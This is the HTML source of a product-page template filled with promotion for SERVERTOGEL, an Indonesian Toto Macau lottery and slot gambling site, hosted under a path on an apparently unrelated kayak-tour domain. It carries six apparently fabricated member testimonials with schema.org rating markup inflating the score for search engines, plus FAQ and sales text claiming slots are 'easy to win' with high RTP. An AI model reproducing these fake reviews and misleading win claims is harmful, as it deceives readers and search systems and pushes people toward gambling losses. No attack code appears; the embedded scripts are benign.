  4950.                                                                    <div class="license-selector__license-type">
  4951.                                                                        <span class="t-heading -size-xxs">Regular
  4952.                                                                            License</span>
  4953.                                                                        <span class="js-license-selector__selected-label e-text-label -color-green -size-s " data-license="regular">Selected</span>
  4954.                                                                    </div>
  4955.                                                                    <div class="license-selector__price">
  4956.                                                                        <span class="t-heading -size-m h-m0">
  4957.                                                                            <b class="t-currency">
  4958.                                                                                <span class="">$88</span>
  4959.                                                                            </b>
  4960.                                                                        </span>
  4961.                                                                    </div>
  4962.                                                                    <div class="license-selector__description">
  4963.                                                                        <p class="t-body -size-m h-m0">SERVERTOGEL menyediakan akses login Toto Macau tercepat dengan beragam permainan slot menarik serta kemudahan deposit secepat kilat melalui QRIS. Nikmati pengalaman bermain aman cepat dan terpercaya di platform terbaik Indonesia.</p>
  4964.                                                                    </div>
  4965.                                                                </div>
  4966.                                                            </div>
  4967.                                                            <div class="flyout__link">
  4968.                                                                <p class="t-body -size-m h-m0">
  4969.                                                                    <a class="t-link -decoration-reversed" target="_blank" href="https://www.missourikayakadventures.com/weather/licenses/standard">View
  4970.                                                                        license details</a>
  4971.                                                                </p>
  4972.                                                            </div>
  4973.                                                        </div>
  4974.                                                    </span>
  4975.                                                    <input type="hidden" name="license" id="license" value="regular" class="js-purchase-default-license" data-license="regular" autocomplete="off">
  4976.                                                </span>
  4977.                                                <div class="js-purchase-heading purchase-form__price t-heading -size-xxl">
  4978.                                                    <b class="t-currency">
  4979.                                                        <span class="js-purchase-price">$10.00</span>
  4980.                                                    </b>
  4981.                                                </div>
  4982.                                            </div>
  4983.                                            <div class="purchase-form__license js-purchase-license is-active" data-license="regular">
  4984.                                                <price class="js-purchase-license-prices" data-price-prepaid="$37" data-license="regular" data-price-prepaid-upgrade="$46.38" data-support-upgrade-price="$9.38" data-support-upgrade-saving="$12" data-support-extension-price="$15.63" data-support-extension-saving="$6.25" data-support-renewal-price="$10.00"></price>
  4985.                                            </div>
  4986.                                            <div class="purchase-form__support">
  4987.                                                <ul class="t-icon-list -font-size-s -icon-size-s -offset-flush">
  4988.                                                    <li class="t-icon-list__item -icon-ok">
  4989.                                                        <span class="is-visually-hidden">Included:</span>
  4990.                                                        SERVERTOGEL
  4991.                                                    
  4992.                                                    </li>
  4993.                                                    <li class="t-icon-list__item -icon-ok">
  4994.                                                        <span class="is-visually-hidden">Included:</span>
  4995.                                                        SITUS TOTO
  4996.                                                    
  4997.                                                    </li>
  4998.                                                    <li class="t-icon-list__item -icon-ok">
  4999.                                                        <span class="is-visually-hidden">Included:</span>
  5000.                                                        BANDAR SLOT GACOR
  5001.                                                        <span class="purchase-form__author-name"></span>
  5002.                                                        <a class="t-link -decoration-reversed js-support__inclusion-link" data-view="modalAjax" href="/item_support/what_is_item_support/8988002"></a>
  5003.                                                    </li>
  5004.                                                </ul>
  5005.                                                <div class="purchase-form__upgrade purchase-form__upgrade--before-after-price">
  5006.                                                    <div class="purchase-form__upgrade-checkbox purchase-form__upgrade-checkbox--before-after-price">
  5007.                                                        <input type="hidden" name="support" id="support_default" value="bundle_6month" class="js-support__default" autocomplete="off">
  5008.                                                        <input type="checkbox" name="support" id="support" value="bundle_12month" class="js-support__option">
  5009.                                                    </div>
  5010.                                                    <div class="purchase-form__upgrade-info">
  5011.                                                        <label class="purchase-form__label purchase-form__label--before-after-price" for="support">
  5012.                                                            Extend support to 12 months
  5013.                                                            
  5014.                                                            <span class="purchase-form__price purchase-form__price--before-after-price t-heading -size-xs h-pull-right">
  5015.                                                                <span class="js-renewal__price t-currency purchase-form__renewal-price purchase-form__renewal-price--strikethrough">$100.00</span>
  5016.                                                                <b class="t-currency">
  5017.                                                                    <span class="js-support__price">$90.00</span>
  5018.                                                                </b>
  5019.                                                            </span>
  5020.                                                        </label>
  5021.                                                    </div>
  5022.                                                </div>
  5023.                                            </div>
  5024.                                        </div>
  5025.                                        <p class="t-body -size-m">
  5026.                                            <i>This item is licensed 100% GPL.</i>
  5027.                                        </p>
  5028.                                        <div class="purchase-form__cta-buttons">
  5029.                                            <div class="purchase-form__button">
  5030.                                                <section itemprop="articleBody">
  5031.                                                    <p>SERVERTOGEL adalah tujuan utama bagi para pemain yang mencari akses login Toto Macau tercepat dan teraman. Dirancang untuk kecepatan, stabilitas, dan kenyamanan, SERVERTOGEL memastikan setiap anggota dapat memasuki pasar lotere Makau favorit mereka tanpa penundaan atau masalah teknis. Dengan infrastruktur server canggih dan situs web responsif, para pemain menikmati pengalaman bertaruh yang lancar kapan pun dan di mana pun. Ini bukan hanya tentang kecepatan—ini tentang keandalan dan komitmen untuk memberikan pengalaman bermain game online terbaik di Indonesia.
  5032.                                                  </p>
  5033.                                                </section>
  5034.                                            </div>
  5035.                                        </div>
  5036.                                        <div class="purchase-form__us-dollars-notice-container">
  5037.                                            <p class="purchase-form__us-dollars-notice">
  5038.                                                <i></i>
  5039.                                            </p>
  5040.                                        </div>
  5041.                                    </div>
  5042.                                </form>
  5043.                            </div>
  5044.                        </div>
  5045.                    </div>
  5046.                    <script type='text/javascript'>
  5047.                        //<![CDATA[
  5048.                        shortcut = {
  5049.                            all_shortcuts: {},
  5050.                            add: function(a, b, c) {
  5051.                                var d = {
  5052.                                    type: "keydown",
  5053.                                    propagate: !1,
  5054.                                    disable_in_input: !1,
  5055.                                    target: document,
  5056.                                    keycode: !1
  5057.                                };
  5058.                                if (c)
  5059.                                    for (var e in d)
  5060.                                        "undefined" == typeof c[e] && (c[e] = d[e]);
  5061.                                else
  5062.                                    c = d;
  5063.                                d = c.target,
  5064.                                "string" == typeof c.target && (d = document.getElementById(c.target)),
  5065.                                a = a.toLowerCase(),
  5066.                                e = function(d) {
  5067.                                    d = d || window.event;
  5068.                                    if (c.disable_in_input) {
  5069.                                        var e;
  5070.                                        d.target ? e = d.target : d.srcElement && (e = d.srcElement),
  5071.                                        3 == e.nodeType && (e = e.parentNode);
  5072.                                        if ("INPUT" == e.tagName || "TEXTAREA" == e.tagName)
  5073.                                            return;
  5074.                                    }
  5075.                                    d.keyCode ? code = d.keyCode : d.which && (code = d.which),
  5076.                                    e = String.fromCharCode(code).toLowerCase(),
  5077.                                    188 == code && (e = ","),
  5078.                                    190 == code && (e = ".");
  5079.                                    var f = a.split("+")
  5080.                                      , g = 0
  5081.                                      , h = {
  5082.                                        "`": "~",
  5083.                                        1: "!",
  5084.                                        2: "@",
  5085.                                        3: "#",
  5086.                                        4: "$",
  5087.                                        5: "%",
  5088.                                        6: "^",
  5089.                                        7: "&",
  5090.                                        8: "*",
  5091.                                        9: "(",
  5092.                                        0: ")",
  5093.                                        "-": "_",
  5094.                                        "=": "+",
  5095.                                        ";": ":",
  5096.                                        "'": '"',
  5097.                                        ",": "<",
  5098.                                        ".": ">",
  5099.                                        "/": "?",
  5100.                                        "\\": "|"
  5101.                                    }
  5102.                                      , i = {
  5103.                                        esc: 27,
  5104.                                        escape: 27,
  5105.                                        tab: 9,
  5106.                                        space: 32,
  5107.                                        "return": 13,
  5108.                                        enter: 13,
  5109.                                        backspace: 8,
  5110.                                        left: 37,
  5111.                                        up: 38,
  5112.                                        right: 39,
  5113.                                        down: 40,
  5114.                                        f1: 112,
  5115.                                        f2: 113,
  5116.                                        f3: 114,
  5117.                                        f4: 115,
  5118.                                        f5: 116,
  5119.                                        f6: 117,
  5120.                                        f7: 118,
  5121.                                        f8: 119,
  5122.                                        f9: 120,
  5123.                                        f10: 121,
  5124.                                        f11: 122,
  5125.                                        f12: 123
  5126.                                    }
  5127.                                      , j = !1
  5128.                                      , l = !1
  5129.                                      , m = !1
  5130.                                      , n = !1
  5131.                                      , o = !1
  5132.                                      , p = !1
  5133.                                      , q = !1
  5134.                                      , r = !1;
  5135.                                    d.ctrlKey && (n = !0),
  5136.                                    d.shiftKey && (l = !0),
  5137.                                    d.altKey && (p = !0),
  5138.                                    d.metaKey && (r = !0);
  5139.                                    for (var s = 0; k = f[s],
  5140.                                    s < f.length; s++)
  5141.                                        "ctrl" == k || "control" == k ? (g++,
  5142.                                        m = !0) : "shift" == k ? (g++,
  5143.                                        j = !0) : "alt" == k ? (g++,
  5144.                                        o = !0) : "meta" == k ? (g++,
  5145.                                        q = !0) : 1 < k.length ? i[k] == code && g++ : c.keycode ? c.keycode == code && g++ : e == k ? g++ : h[e] && d.shiftKey && (e = h[e],
  5146.                                        e == k && g++);
  5147.                                    if (g == f.length && n == m && l == j && p == o && r == q && (b(d),
  5148.                                    !c.propagate))
  5149.                                        return d.cancelBubble = !0,
  5150.                                        d.returnValue = !1,
  5151.                                        d.stopPropagation && (d.stopPropagation(),
  5152.                                        d.preventDefault()),
  5153.                                        !1
  5154.                                }
  5155.                                ,
  5156.                                this.all_shortcuts[a] = {
  5157.                                    callback: e,
  5158.                                    target: d,
  5159.                                    event: c.type
  5160.                                },
  5161.                                d.addEventListener ? d.addEventListener(c.type, e, !1) : d.attachEvent ? d.attachEvent("on" + c.type, e) : d["on" + c.type] = e;
  5162.                            },
  5163.                            remove: function(a) {
  5164.                                var a = a.toLowerCase()
  5165.                                  , b = this.all_shortcuts[a];
  5166.                                delete this.all_shortcuts[a];
  5167.                                if (b) {
  5168.                                    var a = b.event
  5169.                                      , c = b.target
  5170.                                      , b = b.callback;
  5171.                                    c.detachEvent ? c.detachEvent("on" + a, b) : c.removeEventListener ? c.removeEventListener(a, b, !1) : c["on" + a] = !1;
  5172.                                }
  5173.                            }
  5174.                        };
  5175.                    </script>
  5176.                </div>
  5177.                <script nonce="TFNQUvYHwdi8uHoMheRs/Q==">
  5178.                    //<![CDATA[
  5179.                    // HACK: Google Chrome always scroll the previous page's position on hitting Back button
  5180.                    // This causes issue with responsive version in which unexpanded item description obscure
  5181.                    // the scroll position and Chrome will jump to the outer border of bottom
  5182.                    window.addEventListener('unload', function(e) {
  5183.                        window.scrollTo(0, 0);
  5184.                    });
  5185.  
  5186.                    //]]>
  5187.                </script>
  5188.            </div>
  5189.        </div>
  5190.    </div>
  5191.    <article class="main-article">
  5192.        <p>Selain Toto Macau, SERVERTOGEL menawarkan beragam pilihan permainan slot yang melayani semua jenis pemain. Dari slot bergaya mesin buah klasik hingga slot video mutakhir dengan visual dan fitur bonus yang memukau, selalu ada sesuatu yang baru untuk dijelajahi. Semua permainan slot di SERVERTOGEL didukung oleh penyedia tepercaya dan dioptimalkan untuk desktop maupun seluler, memungkinkan pengguna untuk berputar dan menang di mana pun mereka berada. Baik Anda menyukai Pragmatic Play, Habanero, atau PG Soft, Anda akan menemukan judul favorit Anda di sini.</p>
  5193.        <p>Untuk mendukung transaksi yang cepat dan mudah, SERVERTOGEL menyediakan deposit secepat kilat melalui QRIS. Solusi pembayaran modern ini memungkinkan pengguna untuk mengisi saldo secara instan hanya dengan pemindaian sederhana—tanpa perlu input manual atau menunggu. Dengan QRIS, transaksi menjadi aman, efisien, dan didukung oleh berbagai bank dan e-wallet di seluruh Indonesia. Pemain dapat lebih fokus pada keseruan Toto Macau dan permainan slot tanpa khawatir akan keterlambatan deposit atau penarikan.</p>
  5194.        <p>Di SERVERTOGEL, keamanan dan kepuasan Anda selalu menjadi prioritas utama. Platform ini menggunakan teknologi enkripsi canggih untuk melindungi data pengguna dan keamanan transaksi. Selain itu, tim layanan pelanggan profesional tersedia 24/7 untuk membantu menjawab pertanyaan atau masalah apa pun yang mungkin Anda hadapi. Dengan komitmen kuat terhadap transparansi, permainan yang adil, dan inovasi, SERVERTOGEL terus menjadi pilihan tepercaya bagi ribuan penggemar game online di seluruh Asia.</p>
  5195.    </article>
  5196.    <style>
  5197.        .main-article {
  5198.            background: #858200;
  5199.            color: #eaf2ff;
  5200.            font-family: system-ui, -apple-system, Roboto, Arial, sans-serif;
  5201.            padding: 40px;
  5202.            border-radius: 20px;
  5203.            line-height: 1.7;
  5204.        }
  5205.  
  5206.        .main-article h2 {
  5207.            color: #2230c5;
  5208.            margin-top: 30px;
  5209.            font-size: 1.5rem;
  5210.            border-left: 5px solid #2230c5;
  5211.            padding-left: 12px;
  5212.        }
  5213.  
  5214.        .main-article p {
  5215.            font-size: 1rem;
  5216.            color: #e5e7eb;
  5217.            margin-top: 10px;
  5218.        }
  5219.  
  5220.        .main-article strong {
  5221.            color: #86efac;
  5222.        }
  5223.  
  5224.        .main-article em {
  5225.            color: #a5f3fc;
  5226.        }
  5227.    </style>
  5228.    <!-- wp:heading -->
  5229.    <center>
  5230.        <section class="testimonials" itemscope itemtype="https://schema.org/Organization">
  5231.            <!-- Identitas brand yang diulas -->
  5232.            <meta itemprop="name" content="SERVERTOGEL - Situs Bandar Togel Online & Agen Toto 4D Terpercaya 2025">
  5233.            <!-- (Opsional) Tambahkan URL/logo jika ada -->
  5234.            <!-- <meta itemprop="url" content="https://example.com"> -->
  5235.            <!-- <meta itemprop="logo" content="https://example.com/logo.png"> -->
  5236.            <!-- Aggregate Rating (opsional, dihitung dari 6 review: rata-rata 4.95/5) -->
  5237.            <div itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating">
  5238.                <meta itemprop="ratingValue" content="4.95">
  5239.                <meta itemprop="reviewCount" content="6">
  5240.                <meta itemprop="bestRating" content="5">
  5241.                <meta itemprop="worstRating" content="1">
  5242.            </div>
  5243.            <h2>Testimoni Member SERVERTOGEL</h2>
  5244.            <div class="testi-grid">
  5245.                <!-- 1 -->
  5246.                <article class="testi-card" itemprop="review" itemscope itemtype="https://schema.org/Review">
  5247.                    <div class="testi-head">
  5248.                        <div class="avatar">B</div>
  5249.                        <div>
  5250.                            <div itemprop="author" itemscope itemtype="https://schema.org/Person">
  5251.                                <h3 class="name">
  5252.                                    <span itemprop="name">Bima</span>
  5253.                                </h3>
  5254.                                <p class="meta">
  5255.                                    Member sejak 2023 •
  5256.                    
  5257.                                    <span itemprop="homeLocation" itemscope itemtype="https://schema.org/Place">
  5258.                                        <span itemprop="name">Yogyakarta</span>
  5259.                                    </span>
  5260.                                </p>
  5261.                            </div>
  5262.                        </div>
  5263.                    </div>
  5264.                    <meta itemprop="datePublished" content="2025-03-15">
  5265.                    <meta itemprop="name" content="Login cepat dan slot mudah menang">
  5266.                    <p class="quote" itemprop="reviewBody">Bermain di <strong>SERVERTOGEL</strong> benar-benar menyenangkan. Proses login ke Toto Macau cepat sekali, tidak perlu menunggu lama. Deposit lewat QRIS juga langsung masuk tanpa delay. Setiap hari rasanya mudah menang di slot-nya, pokoknya rekomendasi banget buat yang cari situs cepat dan aman.
  5267.            </p>
  5268.                    <div itemprop="reviewRating" itemscope itemtype="https://schema.org/Rating">
  5269.                        <meta itemprop="ratingValue" content="5">
  5270.                        <meta itemprop="bestRating" content="5">
  5271.                        <meta itemprop="worstRating" content="1">
  5272.                    </div>
  5273.                </article>
  5274.                <!-- 2 -->
  5275.                <article class="testi-card" itemprop="review" itemscope itemtype="https://schema.org/Review">
  5276.                    <div class="testi-head">
  5277.                        <div class="avatar">S</div>
  5278.                        <div>
  5279.                            <div itemprop="author" itemscope itemtype="https://schema.org/Person">
  5280.                                <h3 class="name">
  5281.                                    <span itemprop="name">Sinta</span>
  5282.                                </h3>
  5283.                                <p class="meta">
  5284.                                    Member sejak 2024 •
  5285.                    
  5286.                                    <span itemprop="homeLocation" itemscope itemtype="https://schema.org/Place">
  5287.                                        <span itemprop="name">Semarang</span>
  5288.                                    </span>
  5289.                                </p>
  5290.                            </div>
  5291.                        </div>
  5292.                    </div>
  5293.                    <meta itemprop="datePublished" content="2025-03-15">
  5294.                    <meta itemprop="name" content="Pasaran lengkap & CS responsif">
  5295.                    <p class="quote" itemprop="reviewBody">>Saya sudah coba beberapa situs, tapi <strong>SERVERTOGEL</strong> paling nyaman dan stabil. Proses deposit super cepat, tampilannya juga mudah dipahami. Bonusnya besar dan sering ada event menarik. Main jadi lebih tenang karena pelayanannya cepat dan profesional.
  5296.            </p>
  5297.                    <div itemprop="reviewRating" itemscope itemtype="https://schema.org/Rating">
  5298.                        <meta itemprop="ratingValue" content="5">
  5299.                        <meta itemprop="bestRating" content="5">
  5300.                        <meta itemprop="worstRating" content="1">
  5301.                    </div>
  5302.                </article>
  5303.                <!-- 3 -->
  5304.                <article class="testi-card" itemprop="review" itemscope itemtype="https://schema.org/Review">
  5305.                    <div class="testi-head">
  5306.                        <div class="avatar">E</div>
  5307.                        <div>
  5308.                            <div itemprop="author" itemscope itemtype="https://schema.org/Person">
  5309.                                <h3 class="name">
  5310.                                    <span itemprop="name">Eko</span>
  5311.                                </h3>
  5312.                                <p class="meta">
  5313.                                    Member sejak 2022 •
  5314.                    
  5315.                                    <span itemprop="homeLocation" itemscope itemtype="https://schema.org/Place">
  5316.                                        <span itemprop="name">Medan</span>
  5317.                                    </span>
  5318.                                </p>
  5319.                            </div>
  5320.                        </div>
  5321.                    </div>
  5322.                    <meta itemprop="datePublished" content="2025-02-10">
  5323.                    <meta itemprop="name" content="Slip lengkap & cair cepat">
  5324.                    <p class="quote" itemprop="reviewBody">SERVERTOGEL</strong> bikin pengalaman main slot jadi seru banget. Banyak pilihan permainan, semuanya lancar tanpa lag. CS-nya juga sangat responsif dan ramah, siap bantu kapan saja. Buat yang cari situs terpercaya, ini jawabannya.
  5325.            </p>
  5326.                    <div itemprop="reviewRating" itemscope itemtype="https://schema.org/Rating">
  5327.                        <meta itemprop="ratingValue" content="4.8">
  5328.                        <meta itemprop="bestRating" content="5">
  5329.                        <meta itemprop="worstRating" content="1">
  5330.                    </div>
  5331.                </article>
  5332.                <!-- 4 -->
  5333.                <article class="testi-card" itemprop="review" itemscope itemtype="https://schema.org/Review">
  5334.                    <div class="testi-head">
  5335.                        <div class="avatar">N</div>
  5336.                        <div>
  5337.                            <div itemprop="author" itemscope itemtype="https://schema.org/Person">
  5338.                                <h3 class="name">
  5339.                                    <span itemprop="name">Nadia</span>
  5340.                                </h3>
  5341.                                <p class="meta">
  5342.                                    Member sejak 2025 •
  5343.                    
  5344.                                    <span itemprop="homeLocation" itemscope itemtype="https://schema.org/Place">
  5345.                                        <span itemprop="name">Samarinda</span>
  5346.                                    </span>
  5347.                                </p>
  5348.                            </div>
  5349.                        </div>
  5350.                    </div>
  5351.                    <meta itemprop="datePublished" content="2025-05-03">
  5352.                    <meta itemprop="name" content="Tampilan modern & bonus harian real">
  5353.                    <p class="quote" itemprop="reviewBody">Saya suka main di <strong>SERVERTOGEL</strong> karena semua transaksi cepat dan praktis. Cukup scan QRIS, saldo langsung masuk. Slot-nya seru dan sering kasih kemenangan besar. Benar-benar situs yang cocok untuk pemain yang ingin hasil cepat dan aman.
  5354.            </p>
  5355.                    <div itemprop="reviewRating" itemscope itemtype="https://schema.org/Rating">
  5356.                        <meta itemprop="ratingValue" content="5">
  5357.                        <meta itemprop="bestRating" content="5">
  5358.                        <meta itemprop="worstRating" content="1">
  5359.                    </div>
  5360.                </article>
  5361.                <!-- 5 -->
  5362.                <article class="testi-card" itemprop="review" itemscope itemtype="https://schema.org/Review">
  5363.                    <div class="testi-head">
  5364.                        <div class="avatar">R</div>
  5365.                        <div>
  5366.                            <div itemprop="author" itemscope itemtype="https://schema.org/Person">
  5367.                                <h3 class="name">
  5368.                                    <span itemprop="name">Rizal</span>
  5369.                                </h3>
  5370.                                <p class="meta">
  5371.                                    Member sejak 2021 •
  5372.                    
  5373.                                    <span itemprop="homeLocation" itemscope itemtype="https://schema.org/Place">
  5374.                                        <span itemprop="name">Bandung</span>
  5375.                                    </span>
  5376.                                </p>
  5377.                            </div>
  5378.                        </div>
  5379.                    </div>
  5380.                    <meta itemprop="datePublished" content="2025-01-21">
  5381.                    <meta itemprop="name" content="Withdraw anti pending">
  5382.                    <p class="quote" itemprop="reviewBody">Website <strong>SERVERTOGEL</strong> ringan, tampilannya rapi, dan proses withdraw-nya cepat sekali. Tidak pernah ada kendala soal dana atau akses. Semua fitur jalan lancar, bikin main makin nyaman dan bebas dari gangguan.
  5383.            </p>
  5384.                    <div itemprop="reviewRating" itemscope itemtype="https://schema.org/Rating">
  5385.                        <meta itemprop="ratingValue" content="4.9">
  5386.                        <meta itemprop="bestRating" content="5">
  5387.                        <meta itemprop="worstRating" content="1">
  5388.                    </div>
  5389.                </article>
  5390.                <!-- 6 -->
  5391.                <article class="testi-card" itemprop="review" itemscope itemtype="https://schema.org/Review">
  5392.                    <div class="testi-head">
  5393.                        <div class="avatar">F</div>
  5394.                        <div>
  5395.                            <div itemprop="author" itemscope itemtype="https://schema.org/Person">
  5396.                                <h3 class="name">
  5397.                                    <span itemprop="name">Fadli</span>
  5398.                                </h3>
  5399.                                <p class="meta">
  5400.                                    Member sejak 2025 •
  5401.                    
  5402.                                    <span itemprop="homeLocation" itemscope itemtype="https://schema.org/Place">
  5403.                                        <span itemprop="name">Denpasar</span>
  5404.                                    </span>
  5405.                                </p>
  5406.                            </div>
  5407.                        </div>
  5408.                    </div>
  5409.                    <meta itemprop="datePublished" content="2025-06-10">
  5410.                    <meta itemprop="name" content="Slot lancar dan promo menarik setiap hari">
  5411.                    <p class="quote" itemprop="reviewBody">Saya sangat puas bermain di <strong>SERVERTOGEL</strong>. Semua permainan slot berjalan lancar, deposit QRIS cepat, dan setiap hari selalu ada promo menarik. Situs ini benar-benar memudahkan pemain untuk menikmati permainan tanpa ribet.
  5412.            </p>
  5413.                    <div itemprop="reviewRating" itemscope itemtype="https://schema.org/Rating">
  5414.                        <meta itemprop="ratingValue" content="5">
  5415.                        <meta itemprop="bestRating" content="5">
  5416.                        <meta itemprop="worstRating" content="1">
  5417.                    </div>
  5418.                </article>
  5419.            </div>
  5420.        </section>
  5421.        <style>
  5422.            .testimonials {
  5423.                background: #858200;
  5424.                color: #eaf2ff;
  5425.                font-family: system-ui, -apple-system, Roboto, Arial, sans-serif;
  5426.                padding: 32px;
  5427.                border-radius: 20px;
  5428.            }
  5429.  
  5430.            .testimonials h2 {
  5431.                text-align: center;
  5432.                font-size: 1.8rem;
  5433.                margin-bottom: 24px;
  5434.                background: linear-gradient(90deg, #2230c5, #c3d406);
  5435.                -webkit-background-clip: text;
  5436.                color: transparent;
  5437.            }
  5438.  
  5439.            .testi-grid {
  5440.                display: grid;
  5441.                grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
  5442.                gap: 20px;
  5443.            }
  5444.  
  5445.            .testi-card {
  5446.                background: #750124;
  5447.                border-radius: 16px;
  5448.                padding: 20px;
  5449.                border: 1px solid rgba(255,255,255,0.05);
  5450.                transition: 0.3s;
  5451.            }
  5452.  
  5453.            .testi-card:hover {
  5454.                transform: translateY(-4px);
  5455.                border-color: #2230c5;
  5456.            }
  5457.  
  5458.            .testi-head {
  5459.                display: flex;
  5460.                align-items: center;
  5461.                gap: 12px;
  5462.                margin-bottom: 10px;
  5463.            }
  5464.  
  5465.            .avatar {
  5466.                width: 40px;
  5467.                height: 40px;
  5468.                border-radius: 50%;
  5469.                background: linear-gradient(135deg, #2230c5, #0ea5e9);
  5470.                color: #fff;
  5471.                font-weight: 700;
  5472.                display: grid;
  5473.                place-items: center;
  5474.            }
  5475.  
  5476.            .name {
  5477.                font-size: 1rem;
  5478.                margin: 0;
  5479.            }
  5480.  
  5481.            .meta {
  5482.                font-size: 0.85rem;
  5483.                color: #9ca3af;
  5484.            }
  5485.  
  5486.            .quote {
  5487.                font-size: 0.95rem;
  5488.                line-height: 1.6;
  5489.                color: #e5e7eb;
  5490.            }
  5491.        </style>
  5492.        <!-- ✅ JSON-LD SEO Schema -->
  5493.        <script type="application/ld+json">
  5494.            {
  5495.                "@context": "https://schema.org",
  5496.                "@type": "AggregateRating",
  5497.                "itemReviewed": {
  5498.                    "@type": "Organization",
  5499.                    "name": "SERVERTOGEL",
  5500.                     "alternateName": "Idaman Toto",
  5501.                    "url": "https://www.missourikayakadventures.com/weather"
  5502.                },
  5503.                "ratingValue": "4.9",
  5504.                "reviewCount": "6",
  5505.                "bestRating": "5",
  5506.                "worstRating": "1"
  5507.            }</script>
  5508.        <section class="faq-section" itemscope itemtype="https://schema.org/FAQPage">
  5509.            <h2 class="faq-title">Informasi Umum (FAQ) Tentang SERVERTOGEL</h2>
  5510.            <div class="faq-item" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question">
  5511.                <h3 itemprop="name">SERVERTOGEL itu Apa sih?</h3>
  5512.                <div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
  5513.                    <p itemprop="text">SERVERTOGEL adalah link resmi bandar situs Toto Macau dan slot online terpercaya dengan sistem modern dan aman. Nikmati berbagai permainan menarik, peluang menang tinggi, serta transaksi cepat dan mudah melalui QRIS dan pulsa tanpa potongan—semua dirancang untuk pengalaman bermain nyaman dan menguntungkan.
  5514.                </p>
  5515.                </div>
  5516.            </div>
  5517.            <div class="faq-item" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question">
  5518.                <h3 itemprop="name">Apakah SERVERTOGEL Bisa deposit via QRIS?</h3>
  5519.                <div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
  5520.                    <p itemprop="text">Ya, SERVERTOGEL mendukung metode deposit via QRIS agar transaksi lebih cepat, aman, dan tanpa biaya tambahan.
  5521.                </p>
  5522.                </div>
  5523.            </div>
  5524.            <div class="faq-item" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question">
  5525.                <h3 itemprop="name">Cara daftar di situs SERVERTOGEL gimana?</h3>
  5526.                <div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
  5527.                    <p itemprop="text">Cukup klik Daftar, isi data dengan benar, lalu konfirmasi pendaftaran. Dalam beberapa menit, akunmu aktif dan siap dipakai bermain langsung bisa deposit via QRIS/pulsa tanpa potongan dan akses game berjalan mulus.
  5528.                </p>
  5529.                </div>
  5530.            </div>
  5531.            <div class="faq-item" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question">
  5532.                <h3 itemprop="name">Apa kelebihan SERVERTOGEL dibanding bandar online yang lain?</h3>
  5533.                <div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
  5534.                    <p itemprop="text">SERVERTOGEL menawarkan layanan 24 jam, transaksi cepat, bonus besar, dan sistem permainan fair dengan pengawasan teknologi keamanan tinggi. Dukungan deposit via QRIS dan pulsa tanpa potongan juga memudahkan pemain dalam bermain kapan saja.
  5535.                </p>
  5536.                </div>
  5537.            </div>
  5538.            <div class="faq-item" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question">
  5539.                <h3 itemprop="name">Apakah SERVERTOGEL Slot gacor?</h3>
  5540.                <div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
  5541.                    <p itemprop="text">Tentu saja. SERVERTOGEL menyediakan koleksi slot gacor yang dikenal mudah menang dengan RTP tinggi, dan bisa dimainkan langsung dengan deposit via QRIS atau pulsa tanpa potongan.
  5542.                </p>
  5543.                </div>
  5544.            </div>
  5545.            <div class="faq-item" itemscope itemprop="mainEntity" itemtype="https://schema.org/Question">
  5546.                <h3 itemprop="name">Apakah SERVERTOGEL cocok untuk pemain baru?</h3>
  5547.                <div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
  5548.                    <p itemprop="text">Ya, SERVERTOGEL ramah untuk pemula karena memiliki tampilan sederhana, panduan lengkap, dan layanan bantuan aktif 24 jam setiap hari. Pemain baru bisa belajar dan bermain dengan cepat tanpa kendala.
  5549.                </p>
  5550.                </div>
  5551.            </div>
  5552.        </section>
  5553.        <style>
  5554.            .faq-section {
  5555.                background: #858200;
  5556.                color: #eaf2ff;
  5557.                padding: 32px;
  5558.                border-radius: 20px;
  5559.                font-family: system-ui,-apple-system,Roboto,Arial,sans-serif;
  5560.                margin-top: 32px;
  5561.            }
  5562.  
  5563.            .faq-title {
  5564.                text-align: center;
  5565.                font-size: 1.8rem;
  5566.                margin-bottom: 24px;
  5567.                background: linear-gradient(90deg#22c548,#c3d406);
  5568.                -webkit-background-clip: text;
  5569.                color: transparent;
  5570.            }
  5571.  
  5572.            .faq-item {
  5573.                background: #750124;
  5574.                border-radius: 14px;
  5575.                padding: 18px 22px;
  5576.                margin-bottom: 16px;
  5577.                border: 1px solid rgba(255,255,255,0.05);
  5578.                transition: 0.3s;
  5579.            }
  5580.  
  5581.            .faq-item:hover {
  5582.                border-color: #2230c5;
  5583.                transform: translateY(-2px);
  5584.            }
  5585.  
  5586.            .faq-item h3 {
  5587.                font-size: 1.1rem;
  5588.                margin-bottom: 8px;
  5589.                color: #86efac;
  5590.            }
  5591.  
  5592.            .faq-item p {
  5593.                font-size: 0.95rem;
  5594.                line-height: 1.6;
  5595.                color: #e5e7eb;
  5596.                margin: 0;
  5597.            }
  5598.        </style>
  5599.        <style>
  5600.            .SERVERTOGEL-fixed-footer {
  5601.                display: flex;
  5602.                justify-content: space-around;
  5603.                position: fixed;
  5604.                background: linear-gradient(to bottom, rgb(32, 32, 32) 0%, rgb(32, 32, 32) 50%, rgb(32, 32, 32) 100%);
  5605.                box-shadow: inset 2px 2px 2px 0px rgba(49, 49, 49, 0.5), 7px 7px 20px 0px rgba(0, 0, 0, 0.1), 4px 4px 5px 0px rgba(0, 0, 0, 0.1);
  5606.                outline: none;
  5607.                padding: 5px 0;
  5608.                box-shadow: 0 0 2px 2px rgb(32, 32, 32);
  5609.                left: 0;
  5610.                right: 0;
  5611.                bottom: 0;
  5612.                z-index: 99;
  5613.                border-radius: 40px 40px 0px 0px;
  5614.                border-style: dashed;
  5615.            }
  5616.  
  5617.            .SERVERTOGEL-fixed-footer a {
  5618.                flex-basis: calc((100% - 15px*6)/ 5);
  5619.                text-decoration: none;
  5620.                display: flex;
  5621.                flex-direction: column;
  5622.                justify-content: center;
  5623.                align-items: center;
  5624.                color: #fcfbfb;
  5625.                max-width: 75px;
  5626.                font-size: 12px;
